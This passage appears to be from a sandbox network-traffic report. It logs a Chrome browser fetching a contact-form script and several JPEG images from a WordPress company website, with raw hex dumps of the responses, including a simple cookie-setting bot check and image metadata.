f4 4c 06 2e 43 e6 46 4f c3 c0 7a b1 b5 f3 fb 66 Data Ascii: s4pxuJ@FikTzWRFMn%ifdZk>/5g876WmC<8.?:WU75"r\>XAUMXL:.D]9.9R8kq+DFF:vW+TI/lM.=i@<EmGIkmSz:NdbL.CFOzf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49778	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	594	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:01 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49776	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	626	OUT	GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:08 GMT Accept-Ranges: bytes Content-Length: 30674 Content-Type: image/jpeg
2024-10-07 11:17:01 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: 82 83 41 a0 56 a7 8a 96 ef e4 46 fe 5b fe 95 f3 2b f1 b1 46 3b 2f e6 79 d4 fd 81 18 a6 08 b5 d0 cb 41 3a 2d 74 4a aa 2a a1 19 2c ed 67 36 72 c1 55 0e 76 7a d1 fa 6f 71 23 f0 d4 93 4e e4 7d 83 92 d1 8d 16 ab 6f b9 48 13 75 d9 c0 96 36 1c 38 b5 2c 24 b8 f1 3f 72 39 77 35 33 19 51 31 15 4a b4 b4 5a 09 69 7b ea 47 72 cd e5 4f d3 a0 51 d9 cd 56 b9 09 ba 82 7c a6 aa 6c 91 0a 50 d0 7e 2a 2d 91 8d 5a 31 e7 41 fc 7a 16 0c 7a 93 a5 a0 a7 04 ab 67 66 aa 32 e4 34 0d 56 95 99 44 88 f1 92 9b 20 0e 0a be 7c 92 6b 4d 54 26 c9 0e ad 12 ae 94 12 a7 6f 21 f4 1e b8 56 ef e4 69 ee 73 b8 14 2f 35 2f 6a fd 8a 4e 94 77 21 ba 42 42 8d b3 be ac aa c6 61 a8 d7 54 37 17 0a d1 61 92 bd ca 05 e4 f1 52 79 ed ec 37 15 d8 ca b8 9b ad 10 6b 55 b0 4d aa 42 df 62 95 b2 b6 f5 63 2a a8 07 b7 Data Ascii: AVF[+F;/yA:-tJ,g6rUvzoq#N}oHu68,$?r9w53Q1JZi{GrOQV\|lP~-Z1Azzgf24VD \|kMT&o!Vis/5/jNw!BBaT7aRy7kUMBbc*
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 57 d5 b0 8a 88 5a 5c aa 32 7e a6 cc 96 a1 80 34 1e 2b ca cd 9a 93 bc 9e 8e 3c 77 8d a0 eb e5 9d 8d 07 73 80 48 4f d5 31 62 a8 74 82 a3 b5 71 92 67 66 e4 3b 69 7b 89 36 da 38 ab 4e 9f f4 d6 56 5f ea e5 93 14 7a d0 fc c5 66 79 a7 ed af c5 ec 5e b4 7a 26 e5 be 88 7c f5 a8 e5 7f a5 8a c3 2b ce 81 a1 58 63 e2 e4 c9 49 32 8e d1 f9 07 da 99 c3 e9 b8 b8 2d 0d 82 30 0f 17 1d 4a 70 36 f7 ba 95 fc 87 b5 5c bf d0 be 3c 0b 7b 2f 81 06 34 01 b5 a2 80 70 08 8d a7 15 80 1a d9 49 a1 b5 f3 6a b3 5a f6 6e 6c e5 9a 15 52 d8 db 6a e3 6f 6a 0e 49 1b a8 4d 9b 73 de 99 1e 56 b9 c7 40 92 9c 13 0b de 78 dc a8 e5 b6 91 dc ae 3a eb fa 14 7d 4b ad 36 09 43 61 35 db f3 72 aa 6f a2 f5 d8 fa 83 ce 34 a3 64 d4 f2 f6 d1 72 59 d1 b8 e4 c9 5b 55 d6 51 c2 2f c7 cb 86 56 d4 16 3c 1a f8 a9 aa Data Ascii: WZ\2~4+<wsHO1btqgf;i{68NV_zfy^z&\|+XcI2-0Jp6\<{/4pIjZnlRjojIMsV@x:}K6Ca5ro4drY[UQ/V<
2024-10-07 11:17:02 UTC	6716	IN	Data Raw: 72 a6 4a 77 52 8f 1b 85 c1 b5 6b b8 22 ee a1 08 dd 6b 10 f4 ee b3 99 86 45 04 72 b8 34 76 56 c9 6e de 6b ae 92 b4 f7 d5 14 c3 6e 58 d7 c8 1e 4b 79 70 4a 34 55 d7 1d a9 f9 46 e6 57 92 5d ad f3 68 83 70 8e 4b ea 1a c7 6e 8a d7 1d b4 55 f8 cd b8 56 31 da 8b 1e 5d cd 58 c6 4b a9 42 a2 f3 40 79 1b ac ad 94 24 36 05 43 8e a5 5b d0 1e e0 b1 0e a7 9a c4 dc 48 1e 5f ea 01 7a 85 7b f4 af 46 c7 eb 39 bb 32 df b2 26 8a d0 6a e4 87 45 e8 8f ea 8e bb ac 74 03 b1 5b 9e 97 36 16 48 c5 8a ad 75 2a 0b 79 77 a6 be 5a b5 7a ab 71 69 49 86 98 6e 9d 2c eb c9 3b 46 a4 fa c7 4e c4 c0 ea 0f c4 c3 76 f6 33 88 bd 0f 24 38 70 9c e3 57 59 37 fb 76 41 e6 92 ef 1a d5 41 d9 36 a3 6c b1 ab da dd 7e 27 a1 c2 b5 e8 97 a2 09 96 c8 db 8e d6 8a 54 2a fa fb 13 42 19 e7 ad 05 92 c5 85 8f 2c 7d Data Ascii: rJwRk"kEr4vVnknXKypJ4UFW]hpKnUV1]XKB@y$6C[H_z{F92&jEt[6HuywZzqiIn,;FNv3$8pWY7vAA6l~'TB,}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49777	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	643	OUT	GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:01 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 23 Aug 2017 16:09:38 GMT Accept-Ranges: bytes Content-Length: 3824757 Content-Type: image/jpeg
2024-10-07 11:17:01 UTC	7956	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 22 ea 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 09 01 0f 00 02 00 00 00 06 00 00 00 7a 01 10 00 02 00 00 00 0d 00 00 00 80 01 1a 00 05 00 00 00 01 00 00 00 8e 01 1b 00 05 00 00 00 01 00 00 00 96 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 28 00 00 00 9e 01 32 00 02 00 00 00 14 00 00 00 c6 01 3b 00 02 00 00 00 12 00 00 00 da 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 02 e4 43 61 6e 6f 6e 00 43 61 6e 6f 6e 20 45 4f 53 20 35 44 00 00 00 00 00 f0 00 00 00 01 00 00 00 f0 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 4c 69 67 68 74 72 6f 6f 6d 20 34 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 31 32 3a 30 37 3a 30 39 20 32 30 3a 34 30 3a 35 39 00 50 72 61 74 65 72 50 Data Ascii: JFIF"ExifMM*z(1(2;iCanonCanon EOS 5DAdobe Photoshop Lightroom 4.0 (Windows)2012:07:09 20:40:59PraterP
2024-10-07 11:17:01 UTC	8000	IN	Data Raw: e7 de b3 a9 88 e6 8a bf 41 d2 c3 a8 36 97 53 7a eb c2 d2 e9 81 2e ae 5c 3c 83 1c a0 f9 55 b3 8c 7e 5d 09 eb e8 b9 22 b1 b5 3d 36 3b 88 cc a3 6c 4c ab 9d fd 06 3d 4e 7d ab 44 c9 68 c6 b2 b1 92 f3 25 49 58 40 e5 c0 c1 3f 4f 4f f3 e9 4e 77 50 e7 4f d3 d4 49 2e 79 7c fc a3 dc 9a 87 2e 69 79 22 d4 79 63 ea 6a e9 9a 11 2c b2 cc 77 4d d3 7f 38 1e cb fe 7b d6 b4 d0 88 10 22 9e 9d 43 75 3e df e7 da b1 94 b9 a4 5c 55 91 42 66 2c 77 33 e3 03 95 1d ba f6 ff 00 3d 2b 35 ee 21 c8 f2 8e d6 db fd ee 4f af e1 56 95 c4 c8 b0 ef f7 be f0 3c 93 eb 52 c7 02 c4 b8 dc 4b 13 b8 f1 c7 4a 6d f6 04 8f 5b 2d a0 78 3e d9 64 9d d2 e6 ec 1f 95 d9 79 ce 72 36 ae 4e 08 c7 5e bd 6b 87 d6 fc 4e fe 28 be fb 1d e5 be db 59 63 64 41 d5 83 1c 60 f7 19 ce 31 e9 d6 94 e5 1a 6b 91 6e 28 45 cd f3 Data Ascii: A6Sz.\<U~]"=6;lL=N}Dh%IX@?OONwPOI.y\|.iy"ycj,wM8{"Cu>\UBf,w3=+5!OV<RKJm[-x>dyr6N^kN(YcdA`1kn(E
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: fe 77 03 89 39 62 87 ab 21 e3 23 e9 e2 52 59 af 35 24 30 c1 0b 08 db 65 7a f1 00 6f f6 54 7c 4d d3 ed 3f c3 96 78 58 b0 ef 23 c5 36 83 a9 cd 9f 68 8e 18 25 da bc 0b a3 69 b2 cf 10 92 6b 94 2a e0 46 d4 8c 73 6e 3c a8 3e de f4 aa a9 ff 00 65 99 38 b2 4f 24 e2 24 38 21 fc 3c 5f d1 ff 00 72 e2 e4 c3 08 63 91 04 ce 7f d1 fc 7a 90 82 d6 fb 52 d2 a2 d0 ad 2e 29 72 ea b2 12 b2 32 db ca 14 ec 5b a9 7f 83 e1 65 71 f6 f3 2b 19 31 c8 4d fa 78 bf 43 8f 9a a5 8e 3b 7a b8 7f dc ff 00 c7 52 7d 43 c9 3e 6d b6 e2 b7 10 23 a2 ec 19 65 4a 00 3d 98 83 f8 66 58 cf 1b 70 4e 09 10 bf 44 d3 ae e2 b9 11 58 06 bc b9 7a ac ed 17 f7 2a 87 af c6 69 c8 ff 00 95 f6 72 8d 5e 58 78 7e bf 4c 7f a4 e4 68 b1 cc 64 1c 17 29 33 8b 56 b4 8a 7b 48 ef e4 8a 6d 45 36 f4 54 f3 8e 80 1f b5 5e bf f3 Data Ascii: w9b!#RY5$0ezoT\|M?xX#6h%ikFsn<>e8O$$8!<_rczR.)r2[eq+1MxC;zR}C>m#eJ=fXpNDXzir^Xx~Lhd)3V{HmE6T^
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: f1 64 a5 a9 6b 0b 18 24 b5 17 b2 e2 b6 c2 bc c5 e6 68 c4 4e 39 50 11 80 95 0f 32 d6 fc d4 d2 d4 72 df 70 df 3c a0 cd b4 45 87 6a 1a 9b 4e 92 46 e7 92 b8 2a c0 f8 1c a8 c9 98 8b c7 ee 62 f4 6e 65 8b fd f6 ec a3 e8 34 cc e8 9b 16 d0 42 98 a6 49 0d 50 f6 c0 aa a9 15 41 3d c7 40 7a 61 0c 4c 9f ff d4 e7 89 02 ac ac 5c fe f4 fd 90 7b 0f 6c d2 90 ec 02 f8 d8 a4 85 d5 ca a1 f8 65 0a 01 ac 67 ed 28 07 63 94 e6 c5 c7 1a ad ff 00 87 fa cc e1 3a 36 86 bb b2 6b 16 30 4c e5 e1 d9 ad a5 0d 56 78 cf f7 64 9f 16 51 5f f5 b9 66 36 9b 38 91 e5 cf d3 38 ff 00 4b f8 bf d9 36 64 81 03 fd ca 84 b3 c9 6d 24 3a 84 67 83 db 90 93 30 fe 42 d5 57 ff 00 60 d4 3f ea e4 e5 8a ef 19 fe 2f a7 f1 fd 38 fa 7f ac 8e 3e 52 ee 4e 75 07 e6 d1 5c c4 42 c7 74 0b 04 1b d1 c6 d2 2f d0 d9 2d 06 4b Data Ascii: dk$hN9P2rp<EjNF*bne4BIPA=@zaL\{leg(c:6k0LVxdQ_f688K6dm$:g0BW`?/8>RNu\Bt/-K
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 00 00 2c 52 65 66 65 72 65 6e 63 65 20 56 69 65 77 69 6e 67 20 43 6f 6e 64 69 74 69 6f 6e 20 69 6e 20 49 45 43 36 31 39 36 36 2d 32 2e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 69 65 77 00 00 00 00 00 13 a4 fe 00 14 5f 2e 00 10 cf 14 00 03 ed cc 00 04 13 0b 00 03 5c 9e 00 00 00 01 58 59 5a 20 00 00 00 00 00 4c 09 56 00 50 00 00 00 57 1f e7 6d 65 61 73 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8f 00 00 00 02 73 69 67 20 00 00 00 00 43 52 54 20 63 75 72 76 00 00 00 00 00 00 04 00 00 00 00 05 00 0a 00 0f 00 14 00 19 00 1e 00 23 00 28 00 2d 00 32 00 37 00 3b 00 40 00 45 00 4a 00 4f 00 54 00 59 00 5e 00 63 00 68 00 6d 00 72 00 77 00 7c 00 81 00 86 00 8b 00 90 00 95 00 9a 00 9f 00 Data Ascii: ,Reference Viewing Condition in IEC61966-2.1view_.\XYZ LVPWmeassig CRT curv#(-27;@EJOTY^chmrw\|
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 72 65 65 6e 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c 2f 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 47 72 65 65 6e 3e 0d 0a 09 09 09 3c 63 72 73 3a 54 6f 6e 65 43 75 72 76 65 50 56 32 30 31 32 42 6c 75 65 3e 0d 0a 09 09 09 09 3c 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 30 2c 20 30 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 3e 32 35 35 2c 20 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 66 3a 53 65 71 3e 0d 0a 09 09 09 3c Data Ascii: reen><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq></crs:ToneCurvePV2012Green><crs:ToneCurvePV2012Blue><rdf:Seq><rdf:li>0, 0</rdf:li><rdf:li>255, 255</rdf:li></rdf:Seq><
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 70 49 ec 0e 00 c5 79 4f 8f fc 2c de 1c f1 6a 47 34 6c d6 f7 0c 1d 59 06 ed c8 7b 0c fa 7f 9e b5 f7 99 0e 22 18 8a 32 c3 d4 fe bb 9f 2d 9c 53 9c 2b 2a b0 db bf 9f 43 ba ba fd b1 b5 0b 0f 08 da db db 59 db c3 24 29 b1 e2 48 c2 ab 80 00 3c 75 e7 19 ce 7a d7 d2 df b3 b6 a5 a8 f8 af f6 5a 5f 14 db 5e ad ae af e1 8b d5 b9 8a 54 90 ac ae 8c 5b cc 8c 73 ce 53 38 1e 8b ef 5f 3a c3 fb 36 df 7e d1 be 19 d6 3c 61 6f 79 e1 cd 16 1d 11 0c 50 d8 c5 fb b9 af 9a 35 dd f2 c4 38 5c 8f a6 4f 41 c5 7d 25 fb 19 fc 26 d3 6d 3f 66 8d 67 59 bc fb 55 c3 c7 01 02 2f 3f 2b 1b 3a 95 56 d9 d0 60 67 9e b5 ef 78 71 c1 f8 2c 0e 6d 2a b8 58 2d 9d a5 d7 56 7c f7 1c 67 53 a9 94 ce 8d 69 eb a5 d5 fc ae 8f 88 7f 68 4d 75 7c 61 e2 6b db ed d2 2a cd 23 1f 94 76 3c 72 3f 03 5c 4f c3 0f 11 c9 e1 Data Ascii: pIyO,jG4lY{"2-S+CY$)H<uzZ_^T[sS8_:6~<aoyP58\OA}%&m?fgYU/?+:V`gxq,mX-V\|gSihMu\|ak*#v<r?\O
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 90 c7 b5 a5 da 0e 39 c9 cf 24 8f 70 a2 a6 d2 7c 67 1d cc 1e 6d 9c 77 1a a5 e3 4b 10 89 59 70 90 b6 d2 70 4e 31 dc f4 39 c0 15 cd eb 1a 6d fc 9e 3d 86 6b e7 da 9a 8c 6d 12 08 dc a8 2c 4e 42 fc bc 75 18 27 1d 0f b5 2f 66 f9 5c 64 6c e6 93 56 3b 4b 1f 1c 49 a2 c8 b1 69 f6 73 5d bd d4 5b 6e 25 6d a3 cc 45 0a 48 58 cb 1f e2 c1 c9 1d b8 ae 46 d4 f8 8b 5c f2 b5 05 5b cb a6 d3 64 dc 1a 24 ca c3 82 54 e1 7a f2 30 3d 07 bd 77 16 5a 5c 7a 3c cb e4 e7 16 fb 58 9f bc 41 19 e0 1e fd bb f6 ae 67 52 f8 9f ab 7c 04 f1 05 d5 c6 97 79 0c 2d 23 32 c8 93 c7 b9 2e 11 81 20 11 c6 47 2d c7 5c d7 cf d6 ca 30 b5 2b 3a d2 8e b2 56 6f bd 97 f4 8b ab 8c ad 08 f2 c5 ed d0 fa 73 c2 3e 35 8f c6 5e 0a d1 35 ed 3e e9 3c c4 d9 1c aa 17 6b 26 31 95 fc 33 d3 9e 2b d1 be 29 68 b1 f8 db e1 a4 Data Ascii: 9$p\|gmwKYppN19m=km,NBu'/f\dlV;KIis][n%mEHXF\[d$Tz0=wZ\z<XAgR\|y-#2. G-\0+:Vos>5^5><k&13+)h
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 09 24 f4 1b 47 e2 29 c9 25 25 e6 89 d7 91 df a3 33 7e 2d 5f 79 be 19 fb 6e ef 39 2c 6f a2 74 40 e7 84 50 54 9c fd 07 3c f6 ae ca e2 ea cf c4 1a 04 f0 c7 35 95 c3 6a 50 8c b2 e3 72 09 14 67 e5 ec 72 7d b0 05 47 e2 dd 0e cf c5 1e 11 b9 b2 6b 68 d2 4b 88 98 6e 8d 36 8d e7 93 d0 75 00 11 ff 00 eb ac 9f 87 1a 45 8e bd f0 f2 c2 e3 6a ad d5 bc be 54 bb 5b ca da 54 61 77 63 9c 13 91 9e 99 04 57 3b b3 82 7d 99 a7 33 e6 b7 74 53 f8 3d 3f da 7c 29 6e 92 36 d4 d3 2f 25 8a 6c 90 1d ce 41 51 b7 fb b8 61 f8 9a 8e cc b5 b7 c5 ed 4d 63 0d 02 ea 71 2c 81 66 6d db 0e 46 7e a4 80 7f 3a a3 e1 9d 01 74 8f 1e eb b6 1f 6c 99 63 9b 65 c2 2b c9 f7 51 89 dc 4f 40 73 b3 93 e8 a3 da b1 7e 23 db cf a5 78 c3 46 be 8e e9 d5 a4 bb 58 30 54 ed 50 d9 1f 2e ef 75 ef ed 5d 51 85 e6 f5 dd 7f Data Ascii: $G)%%3~-_yn9,ot@PT<5jPrgr}GkhKn6uEjT[TawcW;}3tS=?\|)n6/%lAQaMcq,fmF~:tlce+QO@s~#xFX0TP.u]Q
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: db 3f 81 a8 cd fb 4a 16 e3 74 6d b4 16 d8 73 dc 00 47 1d ff 00 01 57 d0 ce 5a 31 ef 70 25 6c c9 1c 6d 14 89 fb ff 00 93 69 5c e7 07 3f 5c fe 54 f9 9a 28 d5 06 e2 92 23 a6 1d c9 03 e6 f9 79 ec 08 c0 1d 79 aa b3 4a d0 dc 96 c4 bb 26 4d aa aa bb ba e7 be 3f 3a 92 d1 26 36 e9 25 d4 9e 4a ee 2a 55 4e 37 15 e9 81 cf b1 cd 50 d4 ba 12 34 ec f9 8d d5 44 6c dc 29 51 f3 8e ad 8e de 9e fd 69 b0 4f 19 91 e4 93 74 31 46 c0 9f dd 92 ac 3b 74 f5 e4 54 77 1f 35 d2 da b2 4c 55 8f 0d 21 01 54 7a 93 eb ed e8 2a 24 9b 65 d4 38 91 de 39 b6 bc 8f 9f 95 8f 7e 3a 60 7d 6a d4 48 94 b5 2d c7 e6 4a 7c 9e 5b 63 31 c4 4c 78 e9 9c 7b 63 18 fa f5 a2 69 9a dc 47 e6 15 8d d1 72 09 1d c1 db 90 0f 53 8e e7 f0 aa b6 f3 2b da c8 77 bd bc 21 b2 c1 9b a8 3d 1b f9 7b 55 7b c6 f2 ae 14 c8 a5 4b Data Ascii: ?JtmsGWZ1p%lmi\?\T(#yyJ&M?:&6%JUN7P4Dl)QiOt1F;tTw5LU!Tz$e89~:`}jH-J\|[c1Lx{ciGrS+w!={U{K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:01 UTC	626	OUT	GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:16 GMT Accept-Ranges: bytes Content-Length: 41140 Content-Type: image/jpeg
2024-10-07 11:17:02 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: dd e5 e3 64 2a cc cb 58 85 f8 fe 91 da 69 74 71 e6 75 29 82 8b b7 77 e5 51 46 e5 e1 99 33 4c 67 5d a4 28 15 a5 c2 c2 87 07 1c 20 1e 6b 5d cf 7d 22 ab bd 9c e1 22 8e f5 eb aa 85 2d 83 60 60 8c 3c 75 8d ce e3 c4 9a 2d a4 08 38 57 24 97 52 69 4e 6e 73 c6 4c 71 fc e4 6a dd 83 bb be aa da aa f6 24 93 b3 f7 0b c8 c9 54 36 92 45 53 fa 79 fc 2a fc 47 f5 23 de 0d f5 e3 48 b1 31 25 c9 6d ed 71 1d fc cc 79 d3 f8 11 20 85 63 41 a1 d6 c6 96 8d bc b5 08 37 49 28 4e 58 48 3c 2a 6a 57 8b 72 a1 da 4d ab 7f 75 0b 36 42 c6 2f 34 9b 2f c1 7f 37 ba a8 ed 02 2a c8 e0 49 1b a1 50 7d b4 ba 4e 9d 1c d7 12 00 57 95 f8 d0 d8 99 2b 2c bb 63 62 7c 45 a9 90 26 dc 4f 7d 6a b9 c9 9a 81 1f 53 e9 98 38 78 92 4f 39 0d 02 db 74 6c 03 5e e6 c0 0a cf 8e 97 8d b8 e4 74 3c a6 c4 97 f3 46 09 28 Data Ascii: dXitqu)wQF3Lg]( k]}""-``<u-8W$RiNnsLqj$T6ESyG#H1%mqy cA7I(NXH<jWrMu6B/4/7IP}NW+,cb\|E&O}jS8xO9tl^t<F(
